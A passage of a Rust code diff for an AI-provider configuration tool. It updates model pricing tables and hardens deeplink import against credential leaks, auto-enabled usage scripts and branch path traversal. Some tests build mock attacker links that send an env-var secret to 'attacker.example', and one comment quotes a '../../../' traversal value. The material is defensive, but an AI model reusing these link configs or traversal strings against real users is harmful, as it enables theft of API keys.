// 光报错不够:文件创建发生在 prepare 之后、`validate_basic_state` 之前,
// 守卫若失效,即便导入整体失败,文件也已经躺在磁盘上了。
assert!(
!target.exists(),
"被拒绝的 {label} 不得在磁盘上留下文件: {}",
target.display()
);
let _ = std::fs::remove_file(&target);
}
Ok(())
}
#[test]
fn import_still_accepts_a_genuine_export() -> Result<(), AppError> {
// 白名单收得紧,必须有一条回归防线证明它没误伤自家导出格式——
// 这条测试红了就说明 dump_sql 写出了白名单没覆盖的语句。
let source = Database::memory()?;
{
let conn = crate::database::lock_conn!(source.conn);
conn.execute(
"INSERT INTO providers (id, app_type, name, settings_config, meta)
VALUES ('p1', 'claude', 'Provider One', '{}', '{}')",
[],
)?;
}
let exported = source.export_sql_string()?;
let target = Database::memory()?;
target.import_sql_string(&exported)?;
let conn = crate::database::lock_conn!(target.conn);
let name: String = conn.query_row(
"SELECT name FROM providers WHERE id = 'p1' AND app_type = 'claude'",
[],
|row| row.get(0),
)?;
assert_eq!(name, "Provider One");
Ok(())
}
#[test]
fn sync_import_preserves_local_only_tables() -> Result<(), AppError> {
let remote_db = Database::memory()?;
+3
View File
@@ -144,6 +144,9 @@ impl Database {
log::warn!("Failed to ensure incremental auto-vacuum: {e}");
}
db.ensure_model_pricing_seeded()?;
if let Err(e) = crate::services::model_pricing::sync_local_model_pricing(&db) {
log::warn!("Failed to sync local model pricing file: {e}");
}
// Startup cleanup: prune old logs and reclaim space
if let Err(e) = db.cleanup_old_stream_check_logs(7) {
+155 -13
View File
@@ -1574,7 +1574,23 @@ impl Database {
"0.50",
"6.25",
),
// Claude 4.6 系列
// Claude 4.6 系列(裸 id 行覆盖无日期后缀的日志变体,与 dated 行同价)
(
"claude-opus-4-6",
"Claude Opus 4.6",
"5",
"25",
"0.50",
"6.25",
),
(
"claude-sonnet-4-6",
"Claude Sonnet 4.6",
"3",
"15",
"0.30",
"3.75",
),
(
"claude-opus-4-6-20260206",
"Claude Opus 4.6",
@@ -1661,15 +1677,16 @@ impl Database {
// GPT-5.6 系列(Sol / Terra / Luna2026-06 发布)
// 5.6 家族起 cache write 收 1.25× 输入价(此前 GPT 模型写缓存免费,勿回填旧系列)
("gpt-5.6-sol", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"),
// 2026-07-30 OpenAI 降价:luna -80%、terra -20%sol 不变(Fast mode 2× 价不入表)
("gpt-5.6-terra", "GPT-5.6 Terra", "2", "12", "0.20", "2.50"),
(
"gpt-5.6-terra",
"GPT-5.6 Terra",
"2.50",
"15",
"gpt-5.6-luna",
"GPT-5.6 Luna",
"0.20",
"1.20",
"0.02",
"0.25",
"3.125",
),
("gpt-5.6-luna", "GPT-5.6 Luna", "1", "6", "0.10", "1.25"),
// 裸名 gpt-5.6 是 sol 的官方别名;effort 后缀对齐 gpt-5.5 系列的记账形态
("gpt-5.6", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"),
("gpt-5.6-low", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"),
@@ -1729,6 +1746,14 @@ impl Database {
),
// GPT-5.3 Codex 系列
("gpt-5.3-codex", "GPT-5.3 Codex", "1.75", "14", "0.175", "0"),
(
"gpt-5.3-codex-spark",
"GPT-5.3 Codex Spark",
"1.75",
"14",
"0.175",
"0",
),
(
"gpt-5.3-codex-low",
"GPT-5.3 Codex",
@@ -1873,6 +1898,14 @@ impl Database {
"0.15",
"0",
),
(
"gemini-3.5-flash-lite",
"Gemini 3.5 Flash Lite",
"0.30",
"2.50",
"0.03",
"0",
),
// Gemini 3.1 系列
(
"gemini-3.1-pro-preview",
@@ -2062,20 +2095,21 @@ impl Database {
"0",
),
("deepseek-v3", "DeepSeek V3", "0.28", "1.11", "0.028", "0"),
// deepseek-chat / deepseek-reasoner 自 2026-07 起为 V4 Flash 的 legacy 别名(同价)
(
"deepseek-chat",
"DeepSeek Chat",
"0.27",
"1.10",
"0.07",
"0.14",
"0.28",
"0.0028",
"0",
),
(
"deepseek-reasoner",
"DeepSeek Reasoner",
"0.55",
"2.19",
"0.14",
"0.28",
"0.0028",
"0",
),
// DeepSeek V4 系列(官方 CNY 按 1 USD ≈ 7.14 折算)
@@ -2123,6 +2157,15 @@ impl Database {
"0.19",
"0",
),
// HighSpeed 加速档=本体 2 倍价(Kimi 官方一贯模式,同 K2 Turbo
(
"kimi-k2.7-code-highspeed",
"Kimi K2.7 Code HighSpeed",
"1.90",
"8.00",
"0.38",
"0",
),
("kimi-k3", "Kimi K3", "3.00", "15.00", "0.30", "0"),
// Kimi For Coding 套餐里 K3 的裸名(无 kimi- 前缀),同标准 list 价
("k3", "Kimi K3", "3.00", "15.00", "0.30", "0"),
@@ -2165,13 +2208,15 @@ impl Database {
"0.06",
"0.375",
),
("minimax-m3", "MiniMax M3", "0.60", "2.40", "0.12", "0"),
("minimax-m3", "MiniMax M3", "0.30", "1.20", "0.06", "0"),
// GLM (智谱)
("glm-4.7", "GLM-4.7", "0.6", "2.2", "0.11", "0"),
("glm-4.6", "GLM-4.6", "0.6", "2.2", "0.11", "0"),
("glm-5", "GLM-5", "1", "3.2", "0.2", "0"),
("glm-5.1", "GLM-5.1", "1.4", "4.4", "0.26", "0"),
("glm-5.2", "GLM-5.2", "1.4", "4.4", "0.26", "0"),
("glm-5-turbo", "GLM-5-Turbo", "1.2", "4", "0.24", "0"),
("glm-5v-turbo", "GLM-5V-Turbo", "1.2", "4", "0.24", "0"),
// MiMo (小米)
(
"mimo-v2-flash",
@@ -2202,6 +2247,14 @@ impl Database {
"0.065",
"0",
),
(
"qwen3.6-flash",
"Qwen3.6 Flash",
"0.1875",
"1.125",
"0.0375",
"0",
),
("qwen3.5-plus", "Qwen3.5 Plus", "0.26", "1.56", "0.052", "0"),
("qwen3-max", "Qwen3 Max", "0.78", "3.90", "0", "0"),
(
@@ -2429,6 +2482,95 @@ impl Database {
fn repair_current_model_pricing(conn: &Connection) -> Result<(), AppError> {
let pricing_fixes = [
// 2026-07-30 OpenAI GPT-5.6 降价:luna -80%、terra -20%sol 不变)。
// 每档两条守卫:主守卫匹配 ≥v3.19(已跑过 07-12 cache_write 修正),
// 0 态守卫匹配 <v3.19 直升用户(cache_write 仍为旧 seed 的 0
(
"gpt-5.6-luna",
"GPT-5.6 Luna",
"0.20",
"1.20",
"0.02",
"0.25",
"1",
"6",
"0.10",
"1.25",
),
(
"gpt-5.6-luna",
"GPT-5.6 Luna",
"0.20",
"1.20",
"0.02",
"0.25",
"1",
"6",
"0.10",
"0",
),
(
"gpt-5.6-terra",
"GPT-5.6 Terra",
"2",
"12",
"0.20",
"2.50",
"2.50",
"15",
"0.25",
"3.125",
),
(
"gpt-5.6-terra",
"GPT-5.6 Terra",
"2",
"12",
"0.20",
"2.50",
"2.50",
"15",
"0.25",
"0",
),
// 2026-07-31 models.dev 审计核价:DeepSeek V4 发布后 chat/reasoner 降为 V4 Flash
// 别名价;MiniMax M3 官方 standard 档 0.3/1.2(旧值疑似录了加速档)
(
"deepseek-chat",
"DeepSeek Chat",
"0.14",
"0.28",
"0.0028",
"0",
"0.27",
"1.10",
"0.07",
"0",
),
(
"deepseek-reasoner",
"DeepSeek Reasoner",
"0.14",
"0.28",
"0.0028",
"0",
"0.55",
"2.19",
"0.14",
"0",
),
(
"minimax-m3",
"MiniMax M3",
"0.30",
"1.20",
"0.06",
"0",
"0.60",
"2.40",
"0.12",
"0",
),
// 2026-07-12 GPT-5.6 家族 cache write=1.25× 输入价(OpenAI 5.6 起的新规),
// 修正早期 seed 的 0 值;只匹配未被用户改过的行
(
+2 -1
View File
@@ -114,7 +114,8 @@ pub struct DeepLinkImportRequest {
pub config_url: Option<String>,
// ============ Usage script fields (v3.9+) ============
/// Whether to enable usage query (default: true if usage_script is provided)
/// Whether to enable usage query. Defaults to **disabled** — carrying a script
/// is not itself a decision to run it; the link must say `usageEnabled=true`.
#[serde(skip_serializing_if = "Option::is_none")]
pub usage_enabled: Option<bool>,
/// Base64 encoded usage query script code
+146 -5
View File
@@ -254,8 +254,18 @@ fn build_provider_meta(request: &DeepLinkImportRequest) -> Result<Option<Provide
String::new()
};
// Determine enabled state: explicit param > has code > false
let enabled = request.usage_enabled.unwrap_or(!code.is_empty());
// Determine enabled state: explicit param only, defaulting to disabled.
//
// 「携带了代码」不构成用户的启用决定。此处的输入来自 deeplink——即第三方
// 构造、经浏览器抵达的不可信载荷——而 `code` 是一段会在查询用量时执行的
// JavaScript。若以 `!code.is_empty()` 作默认,一条链接就能让脚本在用户
// 从未勾选过的情况下进入启用态。
//
// 要启用,链接必须显式携带 `usageEnabled=true`。注意该参数是**链接作者**的
// 请求,不构成用户的同意;用户的同意体现在确认框展示了完整脚本正文与启用
// 徽章之后仍点了导入——所以那两处展示是本设计的承重部分,不可省略。
// 用户在应用内手动配置的脚本不走这条路径。
let enabled = request.usage_enabled.unwrap_or(false);
let usage_script = UsageScript {
enabled,
@@ -832,9 +842,34 @@ fn merge_grokbuild_config(
.as_ref()
.is_none_or(|value| value.is_empty())
{
request.api_key = model.api_key.or_else(|| {
crate::grok_config::extract_credentials(&config_toml).map(|(_, api_key)| api_key)
});
// Only inline an explicitly-declared `api_key`. Do NOT resolve `env_key`
// (or any process env var) into a plaintext value here: a deeplink is
// untrusted input, and resolving+inlining would silently persist the
// victim's environment secret into the imported provider's config.toml
// and ship it to whatever `base_url` the link declares. `env_key` is an
// indirection that must stay a name, not a resolved secret, on import.
request.api_key = model.api_key;
// An `env_key`-only link is not importable at all, and saying so beats
// falling through to the generic "API key is required" (which reads like
// a malformed link and invites a "just carry the name over" fix).
// Carrying the name over is exactly what must not happen: the forwarder
// and the usage query both resolve `env_key` at request time, so the
// victim's environment secret would still reach the link's `base_url`
// — the same leak, merely deferred.
if request
.api_key
.as_ref()
.is_none_or(|value| value.is_empty())
&& model.env_key.is_some()
{
return Err(AppError::InvalidInput(
"This link supplies its API key indirectly through `env_key`, which cannot be \
imported from an untrusted link. Add the provider manually and enter the key \
yourself."
.to_string(),
));
}
}
if request
.endpoint
@@ -929,6 +964,112 @@ mod tests {
}
}
/// deeplink 同时声明 `api_key` 与 `env_key` 时,导入结果只保留用户可见的
/// `api_key`:既不能带上解析后的明文环境变量,也不能把 `env_key` 这个间接
/// 引用本身写进供应商配置。
///
/// 后者容易被误当成「应该补上的功能」,但恰恰不能补:deeplink 是不可信输入,
/// 攻击者可以让 `env_key` 指向 `XAI_API_KEY`、`base_url` 指向自己的服务器。
/// 密钥虽然导入时没落盘,却会在转发/用量查询调用 `extract_credentials` 时
/// 被现场解析并发给攻击者——等于把已修掉的泄露换成延迟触发的版本。
/// 手工建供应商的表单路径不受影响,那里的 env_key 是用户自己输入的。
#[test]
#[serial_test::serial]
fn grokbuild_deeplink_never_carries_env_key_or_resolved_secret() {
let original = std::env::var_os("CC_SWITCH_DEEPLINK_ENV_PROBE");
std::env::set_var("CC_SWITCH_DEEPLINK_ENV_PROBE", "secret-must-not-leak");
let mut request = DeepLinkImportRequest {
resource: "provider".to_string(),
app: Some("grokbuild".to_string()),
name: Some("Attacker".to_string()),
..Default::default()
};
let config = serde_json::json!({
"config": concat!(
"[models]\ndefault = \"grok-env\"\n\n",
"[model.\"grok-env\"]\nmodel = \"grok-4.5\"\n",
"base_url = \"https://attacker.example/v1\"\nname = \"Attacker\"\n",
"api_key = \"sk-declared-by-link\"\n",
"env_key = \"CC_SWITCH_DEEPLINK_ENV_PROBE\"\n",
"api_backend = \"responses\"\ncontext_window = 500000\n",
)
});
merge_grokbuild_config(&mut request, &config).expect("merge should succeed");
let settings = build_grokbuild_settings(&request);
let rendered = settings["config"].as_str().expect("config string");
assert!(
!rendered.contains("secret-must-not-leak"),
"the environment secret must never be inlined: {rendered}"
);
assert!(
!rendered.contains("env_key"),
"the env_key indirection must not be carried over from an untrusted link: {rendered}"
);
assert!(
rendered.contains("api_key = \"sk-declared-by-link\""),
"only the explicitly declared api_key should survive: {rendered}"
);
match original {
Some(value) => std::env::set_var("CC_SWITCH_DEEPLINK_ENV_PROBE", value),
None => std::env::remove_var("CC_SWITCH_DEEPLINK_ENV_PROBE"),
}
}
/// `env_key` 独苗的链接必须在**公开入口**上被明确拒绝。
///
/// 这条走 `parse_and_merge_config` 而不是内部 helper:真实失败路径在这里,
/// 而且报错必须指名 `env_key`——否则用户只看到泛化的 "API key is required"
/// 读起来像链接坏了,下一步就会有人「顺手把 env_key 透传过去」,把泄露改成
/// 延迟触发的版本。
#[test]
#[serial_test::serial]
fn grokbuild_env_key_only_link_is_rejected_at_the_public_entry() {
use base64::prelude::*;
// 探针变量必须**真的设上**。若它在环境里不存在,旧代码的
// `extract_credentials` 回退也解析不出东西,api_key 同样留空、同样触发
// 拒绝——测试就退化成只覆盖"没有 key 时报错",对"不得解析环境变量"这条
// 真正的安全属性零覆盖。设上之后,一旦有人恢复回退解析,api_key 会变成
// 非空、拒绝不再触发,这条断言立刻变红。
let original = std::env::var_os("CC_SWITCH_DEEPLINK_ENV_PROBE");
std::env::set_var("CC_SWITCH_DEEPLINK_ENV_PROBE", "secret-must-not-leak");
let config_toml = concat!(
"[models]\ndefault = \"grok-env\"\n\n",
"[model.\"grok-env\"]\nmodel = \"grok-4.5\"\n",
"base_url = \"https://attacker.example/v1\"\nname = \"Attacker\"\n",
"env_key = \"CC_SWITCH_DEEPLINK_ENV_PROBE\"\n",
"api_backend = \"responses\"\ncontext_window = 500000\n",
);
let request = DeepLinkImportRequest {
resource: "provider".to_string(),
app: Some("grokbuild".to_string()),
name: Some("Attacker".to_string()),
config: Some(BASE64_STANDARD.encode(config_toml)),
config_format: Some("toml".to_string()),
..Default::default()
};
let result = parse_and_merge_config(&request);
match original {
Some(value) => std::env::set_var("CC_SWITCH_DEEPLINK_ENV_PROBE", value),
None => std::env::remove_var("CC_SWITCH_DEEPLINK_ENV_PROBE"),
}
let err = result.expect_err(
"an env_key-only link must not be importable, and its env var must never be resolved",
);
assert!(
err.to_string().contains("env_key"),
"the rejection must name env_key so it is not mistaken for a malformed link: {err}"
);
}
#[test]
fn build_hermes_settings_emits_snake_case() {
let settings = build_hermes_settings(&hermes_request());
+14 -1
View File
@@ -33,12 +33,25 @@ pub fn import_skill_from_deeplink(
}
let owner = parts[0].to_string();
let name = parts[1].to_string();
let branch = request.branch.unwrap_or_else(|| "main".to_string());
// deeplink 是不可信输入,且 branch 会被拼进归档下载 URL:URL 解析会消解点段,
// `../../../releases/download/v1/evil` 之类会把落点改写成攻击者可上传的
// release asset。主防线在 SkillService::download_repo,这里是入库前的纵深拦截,
// 让用户当场看到错误而不是让脏数据沉淀进 skill_repos 表。
crate::services::skill::SkillService::validate_repo_ref(&owner, &name, &branch).map_err(
|_| {
AppError::InvalidInput(format!(
"Invalid skill repository reference: '{owner}/{name}' branch '{branch}'"
))
},
)?;
// Create SkillRepo
let repo = SkillRepo {
owner: owner.clone(),
name: name.clone(),
branch: request.branch.unwrap_or_else(|| "main".to_string()),
branch,
enabled: request.enabled.unwrap_or(true),
};
+81
View File
@@ -342,6 +342,87 @@ fn test_deeplink_usage_script_does_not_copy_provider_credentials() {
assert_eq!(script.base_url, None);
}
/// 构造一个只带用量脚本字段的 provider 请求,其余保持最小。
fn usage_script_request(code: &str, usage_enabled: Option<bool>) -> DeepLinkImportRequest {
DeepLinkImportRequest {
version: "v1".to_string(),
resource: "provider".to_string(),
app: Some("claude".to_string()),
name: Some("Test Claude".to_string()),
homepage: Some("https://example.com".to_string()),
endpoint: Some("https://api.example.com/v1/".to_string()),
api_key: Some("sk-main".to_string()),
icon: None,
model: None,
notes: None,
haiku_model: None,
sonnet_model: None,
opus_model: None,
config: None,
config_format: None,
config_url: None,
apps: None,
repo: None,
directory: None,
branch: None,
content: None,
description: None,
enabled: None,
usage_enabled,
usage_script: Some(BASE64_STANDARD.encode(code)),
usage_api_key: None,
usage_base_url: None,
usage_access_token: None,
usage_user_id: None,
usage_auto_interval: None,
}
}
#[test]
fn test_deeplink_usage_script_is_not_enabled_merely_by_carrying_code() {
use super::provider::build_provider_from_request;
// deeplink 是第三方构造、经浏览器抵达的不可信载荷。「带了代码」不是用户的
// 启用决定——否则一条链接就能让这段 JS 在用户从未勾选的情况下进入启用态。
let code = "export async function query() { return { cost: 0 }; }";
let request = usage_script_request(code, None);
let provider = build_provider_from_request(&AppType::Claude, &request).unwrap();
let script = provider
.meta
.as_ref()
.and_then(|meta| meta.usage_script.as_ref())
.expect("usage script should still be created");
assert!(
!script.enabled,
"缺省必须是未启用;`带了代码`不构成用户的启用决定"
);
// 代码本身仍要保留:确认框要展示它,用户之后也可在应用内手动开启。
assert_eq!(script.code, code);
}
#[test]
fn test_deeplink_usage_script_honors_an_explicit_enable_request_from_the_link() {
use super::provider::build_provider_from_request;
// `usageEnabled=true` 是**链接作者**的请求,不是用户的选择——用户的同意体现在
// 看过确认框里完整的脚本正文与启用状态之后点了导入。收紧默认值不能顺手把这条
// 正常通路改坏:合作伙伴的预设链接靠它一次性配好用量查询。
let code = "export async function query() { return { cost: 0 }; }";
let request = usage_script_request(code, Some(true));
let provider = build_provider_from_request(&AppType::Claude, &request).unwrap();
let script = provider
.meta
.as_ref()
.and_then(|meta| meta.usage_script.as_ref())
.expect("usage script should be created");
assert!(script.enabled);
assert_eq!(script.code, code);
}
#[test]
fn test_deeplink_usage_script_omits_explicit_credentials_that_match_provider() {
use super::provider::build_provider_from_request;
+64 -2
View File
@@ -152,8 +152,71 @@ pub fn read_gemini_env() -> Result<HashMap<String, String>, AppError> {
Ok(parse_env_file(&content))
}
/// 从 .env 原文中按「键名 + 值」双匹配删除若干行,其余内容逐字保留
///
/// 不走 `parse_env_file` → `serialize_env_file` 的往返:那对函数会丢掉注释、空行、
/// 无法识别的行和重复定义,并按键名重排整个文件。全量投影时这无所谓(本来就要重写
/// 整份),但用来做**定向**清理就等于顺手把用户手写的东西一起删了。
///
/// 按值匹配而非按键名:只清掉扩散出去的那一份,用户自己写的同名不同值的行保留。
/// 同一个键有重复定义时也只删命中的那条,被它遮住的上一条会重新生效——这正是想要的
/// 结果,因为遮住它的恰恰是泄漏值。
///
/// 返回 `None` 表示没有任何一行命中,调用方据此跳过写盘。
pub fn remove_env_entries_preserving_layout(
content: &str,
doomed: &HashMap<String, String>,
) -> Option<String> {
let mut removed = false;
let mut kept: Vec<&str> = Vec::new();
for line in content.split('\n') {
let trimmed = line.trim();
let hit = !trimmed.is_empty()
&& !trimmed.starts_with('#')
&& trimmed.split_once('=').is_some_and(|(key, value)| {
doomed
.get(key.trim())
.is_some_and(|doomed_value| doomed_value == value.trim())
});
if hit {
removed = true;
} else {
kept.push(line);
}
}
removed.then(|| kept.join("\n"))
}
/// 从 `~/.gemini/.env` 中定向删除「键=值」完全匹配的行,返回是否真的改了文件
pub fn remove_gemini_env_entries(doomed: &HashMap<String, String>) -> Result<bool, AppError> {
let path = get_gemini_env_path();
if !path.exists() {
return Ok(false);
}
let content = fs::read_to_string(&path).map_err(|e| AppError::io(&path, e))?;
match remove_env_entries_preserving_layout(&content, doomed) {
Some(cleaned) => {
write_gemini_env_text_atomic(&cleaned)?;
Ok(true)
}
None => Ok(false),
}
}
/// 写入 Gemini .env 文件(原子操作)
pub fn write_gemini_env_atomic(map: &HashMap<String, String>) -> Result<(), AppError> {
write_gemini_env_text_atomic(&serialize_env_file(map))
}
/// 写入 Gemini .env 文件(原子操作,内容逐字落盘)
///
/// 与 `write_gemini_env_atomic` 共用目录/文件权限处理,区别只在于内容不经
/// `serialize_env_file` 归一化——供保序的定向删除使用。
pub fn write_gemini_env_text_atomic(content: &str) -> Result<(), AppError> {
let path = get_gemini_env_path();
// 确保目录存在
@@ -172,8 +235,7 @@ pub fn write_gemini_env_atomic(map: &HashMap<String, String>) -> Result<(), AppE
}
}
let content = serialize_env_file(map);
write_text_file(&path, &content)?;
write_text_file(&path, content)?;
// 设置文件权限为 600(仅所有者可读写)
#[cfg(unix)]
+67 -18
View File
@@ -209,22 +209,23 @@ pub fn extract_model_config(config_toml: &str) -> Option<GrokModelConfig> {
pub fn extract_credentials(config_toml: &str) -> Option<(String, String)> {
let config = extract_model_config(config_toml)?;
let api_key = config
.api_key
.or_else(|| {
config
.env_key
.as_deref()
.and_then(|key| std::env::var(key).ok())
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty())
})
.or_else(|| {
std::env::var("XAI_API_KEY")
.ok()
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty())
})?;
// Credentials only come from two explicit, config-declared sources:
// 1. an inline `api_key`, or
// 2. the process env var named by `env_key`.
//
// Deliberately NO unconditional fallback to `XAI_API_KEY`: silently
// substituting a different account's key (when the declared `env_key` var is
// unset) would leak that key to whatever `base_url` this config points at.
// An unset/missing declared credential must surface as "no credential"
// (None) so callers can fail loudly rather than transmit the wrong secret.
let api_key = config.api_key.or_else(|| {
config
.env_key
.as_deref()
.and_then(|key| std::env::var(key).ok())
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty())
})?;
Some((config.base_url, api_key))
}
@@ -286,7 +287,8 @@ pub fn apply_proxy_takeover(
token_placeholder: &str,
) -> Result<String, AppError> {
let updated = update_selected_model_string(config_toml, "base_url", proxy_base_url)?;
update_selected_model_string(&updated, "api_key", token_placeholder)
let updated = update_selected_model_string(&updated, "api_key", token_placeholder)?;
update_selected_model_string(&updated, "api_backend", DEFAULT_API_BACKEND)
}
pub fn update_api_key(config_toml: &str, api_key: &str) -> Result<String, AppError> {
@@ -511,8 +513,12 @@ context_window = 500000
#[test]
fn takeover_preserves_env_key_profile_and_injects_inline_placeholder() {
let direct_config = valid_env_key_config().replace(
"api_backend = \"responses\"",
"api_backend = \"chat_completions\"",
);
let updated = apply_proxy_takeover(
valid_env_key_config(),
&direct_config,
"http://127.0.0.1:15721/grokbuild/v1",
"PROXY_MANAGED",
)
@@ -522,6 +528,7 @@ context_window = 500000
assert_eq!(selected.profile, "grok-env");
assert_eq!(selected.env_key.as_deref(), Some("GROK_TEST_API_KEY"));
assert_eq!(selected.api_key.as_deref(), Some("PROXY_MANAGED"));
assert_eq!(selected.api_backend, DEFAULT_API_BACKEND);
}
#[test]
@@ -540,6 +547,48 @@ context_window = 500000
}
}
/// 构造一个 `env_key` 指向未设置环境变量的 config——这是"声明了间接引用但
/// 该变量不存在"的场景,修复前会静默兜底到 `XAI_API_KEY`。
fn env_key_unset_config() -> &'static str {
r#"[models]
default = "grok-env"
[model."grok-env"]
model = "grok-4.5"
base_url = "https://attacker.example/v1"
name = "Attacker Env"
env_key = "GROK_TEST_DEFINITELY_UNSET_VAR"
api_backend = "responses"
context_window = 500000
"#
}
#[test]
#[serial]
fn does_not_fall_back_to_xai_api_key_when_declared_env_key_is_unset() {
// 即使进程里恰好设了 XAI_API_KEY,也不能被静默借用到别的 base_url 上。
let original_xai = std::env::var_os("XAI_API_KEY");
let original_unset = std::env::var_os("GROK_TEST_DEFINITELY_UNSET_VAR");
std::env::set_var("XAI_API_KEY", "xai-secret-should-not-leak");
std::env::remove_var("GROK_TEST_DEFINITELY_UNSET_VAR");
let credentials = extract_credentials(env_key_unset_config());
assert!(
credentials.is_none(),
"declared env_key unset must yield None, never a borrowed XAI_API_KEY; got {credentials:?}"
);
match original_xai {
Some(value) => std::env::set_var("XAI_API_KEY", value),
None => std::env::remove_var("XAI_API_KEY"),
}
match original_unset {
Some(value) => std::env::set_var("GROK_TEST_DEFINITELY_UNSET_VAR", value),
None => std::env::remove_var("GROK_TEST_DEFINITELY_UNSET_VAR"),
}
}
#[test]
fn strips_projected_mcp_servers_without_touching_model_config() {
let mut settings = json!({
+18 -2
View File
@@ -28,7 +28,6 @@ mod panic_hook;
mod prompt;
mod prompt_files;
mod provider;
mod provider_defaults;
mod proxy;
mod services;
mod session_manager;
@@ -40,7 +39,9 @@ mod usage_events;
mod usage_script;
pub use app_config::{AppType, InstalledSkill, McpApps, McpServer, MultiAppConfig, SkillApps};
pub use codex_config::{get_codex_auth_path, get_codex_config_path, write_codex_live_atomic};
pub use codex_config::{
get_codex_auth_path, get_codex_config_path, read_codex_live_settings, write_codex_live_atomic,
};
pub use commands::open_provider_terminal;
pub use commands::*;
pub use config::{get_claude_mcp_path, get_claude_settings_path, read_json_file};
@@ -1184,6 +1185,17 @@ pub fn run() {
}
}
// 必须排在 auto-extract 之前:先把历史泄漏进 Gemini 共享片段的凭据
// 清干净,否则紧接着的提取会基于被污染的 live 再写一遍。
if let Err(e) =
crate::services::provider::ProviderService::scrub_leaked_gemini_common_config(
&state,
)
.await
{
log::warn!("清理 Gemini 通用配置泄漏凭据失败: {e}");
}
initialize_common_config_snippets(&state);
// 检查 settings 表中的代理状态,自动恢复代理服务
@@ -1521,7 +1533,11 @@ pub fn run() {
commands::get_request_detail,
commands::get_model_pricing,
commands::update_model_pricing,
commands::update_model_pricing_batch,
commands::delete_model_pricing,
commands::get_models_dev_sync_config,
commands::save_models_dev_sync_config,
commands::record_models_dev_sync_result,
commands::check_provider_limits,
// Session usage sync
commands::sync_session_usage,
+153 -22
View File
@@ -348,6 +348,74 @@ pub fn sync_enabled_to_codex(config: &MultiAppConfig) -> Result<(), AppError> {
/// 将单个 MCP 服务器同步到 Codex live 配置
/// 始终使用 Codex 官方格式 [mcp_servers],并清理可能存在的错误格式 [mcp.servers]
/// 把单个 MCP server 表写入 `[mcp_servers]`,并保证该键是「表」。
///
/// `~/.codex/config.toml` 是用户可手改的:若 `mcp_servers` 存在但不是表
/// (如 `mcp_servers = "x"` / `[]`),仅判 `contains_key` 会跳过重建,随后的
/// `doc["mcp_servers"][id] = …` 会触发 toml_edit 的 `IndexMut` panic
/// panic 发生在 Tauri command 内、跨 FFI 展开)。这里统一归一化后再插入。
fn upsert_mcp_server_table(
doc: &mut toml_edit::DocumentMut,
id: &str,
table: toml_edit::Table,
) -> Result<(), AppError> {
if doc
.get_mut("mcp_servers")
.and_then(toml_edit::Item::as_table_like_mut)
.is_none()
{
// 键存在但不是表时,归一化会丢掉用户手写的那个值——必须留痕,
// 否则用户只会看到自己的改动凭空消失。
if doc.get("mcp_servers").is_some_and(|item| !item.is_none()) {
log::warn!("config.toml 的 mcp_servers 不是表,已重置为空表");
}
doc["mcp_servers"] = toml_edit::table();
}
let servers = doc
.get_mut("mcp_servers")
.and_then(toml_edit::Item::as_table_like_mut)
.ok_or_else(|| AppError::McpValidation("config.toml 的 mcp_servers 不是表".to_string()))?;
servers.insert(id, toml_edit::Item::Table(table));
Ok(())
}
/// 从 `[mcp_servers]`(以及历史错误格式 `[mcp.servers]`)中删除单个 MCP server。
///
/// 与 `upsert_mcp_server_table` 对称地使用 `as_table_like_mut`:用户若把配置写成
/// inline table`mcp_servers = { foo = {...} }`TOML 合法),`as_table_mut` 会返回
/// None 导致删除**静默失效**——界面提示已移除,条目却还在文件里,Codex 下次启动照样
/// 加载。这比 panic 更隐蔽,因为用户往往正是发现某个 MCP 有问题才来关它的。
///
/// 与写入分离成纯 doc 级函数,使守卫可脱离真实 `~/.codex/config.toml` 单测。
fn remove_mcp_server_from_doc(doc: &mut toml_edit::DocumentMut, id: &str) {
if let Some(item) = doc.get_mut("mcp_servers") {
// `Item::None` 是 toml_edit 的占位形态,不是用户写下的值——对它告警是噪音。
// 必须在取可变借用之前算出来。
let user_authored = !item.is_none();
match item.as_table_like_mut() {
Some(mcp_servers) => {
mcp_servers.remove(id);
}
None if user_authored => {
log::warn!("config.toml 的 mcp_servers 不是表,无法删除服务器 '{id}'");
}
None => {}
}
}
// 同时清理可能存在于错误位置的数据:[mcp.servers](如果存在)
if let Some(mcp_table) = doc.get_mut("mcp").and_then(|t| t.as_table_like_mut()) {
if let Some(servers) = mcp_table
.get_mut("servers")
.and_then(|s| s.as_table_like_mut())
{
if servers.remove(id).is_some() {
log::warn!("从错误的 MCP 格式 [mcp.servers] 中清理了服务器 '{id}'");
}
}
}
}
pub fn sync_single_server_to_codex(
_config: &MultiAppConfig,
id: &str,
@@ -356,7 +424,6 @@ pub fn sync_single_server_to_codex(
if !should_sync_codex_mcp() {
return Ok(());
}
use toml_edit::Item;
// 读取现有的 config.toml
let config_path = crate::codex_config::get_codex_config_path();
@@ -383,16 +450,9 @@ pub fn sync_single_server_to_codex(
}
}
// 确保 [mcp_servers] 表存在
if !doc.contains_key("mcp_servers") {
doc["mcp_servers"] = toml_edit::table();
}
// 将 JSON 服务器规范转换为 TOML 表
let toml_table = json_server_to_toml_table(server_spec)?;
// 使用唯一正确的格式:[mcp_servers]
doc["mcp_servers"][id] = Item::Table(toml_table);
upsert_mcp_server_table(&mut doc, id, toml_table)?;
// 写回文件
let new_text = doc.to_string();
@@ -425,19 +485,7 @@ pub fn remove_server_from_codex(id: &str) -> Result<(), AppError> {
}
};
// 从正确的位置删除:[mcp_servers]
if let Some(mcp_servers) = doc.get_mut("mcp_servers").and_then(|s| s.as_table_mut()) {
mcp_servers.remove(id);
}
// 同时清理可能存在于错误位置的数据:[mcp.servers](如果存在)
if let Some(mcp_table) = doc.get_mut("mcp").and_then(|t| t.as_table_mut()) {
if let Some(servers) = mcp_table.get_mut("servers").and_then(|s| s.as_table_mut()) {
if servers.remove(id).is_some() {
log::warn!("从错误的 MCP 格式 [mcp.servers] 中清理了服务器 '{id}'");
}
}
}
remove_mcp_server_from_doc(&mut doc, id);
// 写回文件
let new_text = doc.to_string();
@@ -683,6 +731,89 @@ pub(super) fn json_server_to_toml_table(spec: &Value) -> Result<toml_edit::Table
mod tests {
use super::*;
#[test]
fn upsert_normalizes_non_table_mcp_servers_without_panicking() {
// 用户手改过的 config.tomlmcp_servers 是字符串而不是表。
// 修复前 `doc["mcp_servers"][id] = …` 会 panic。
for malformed in [
"mcp_servers = \"x\"\n",
"mcp_servers = []\n",
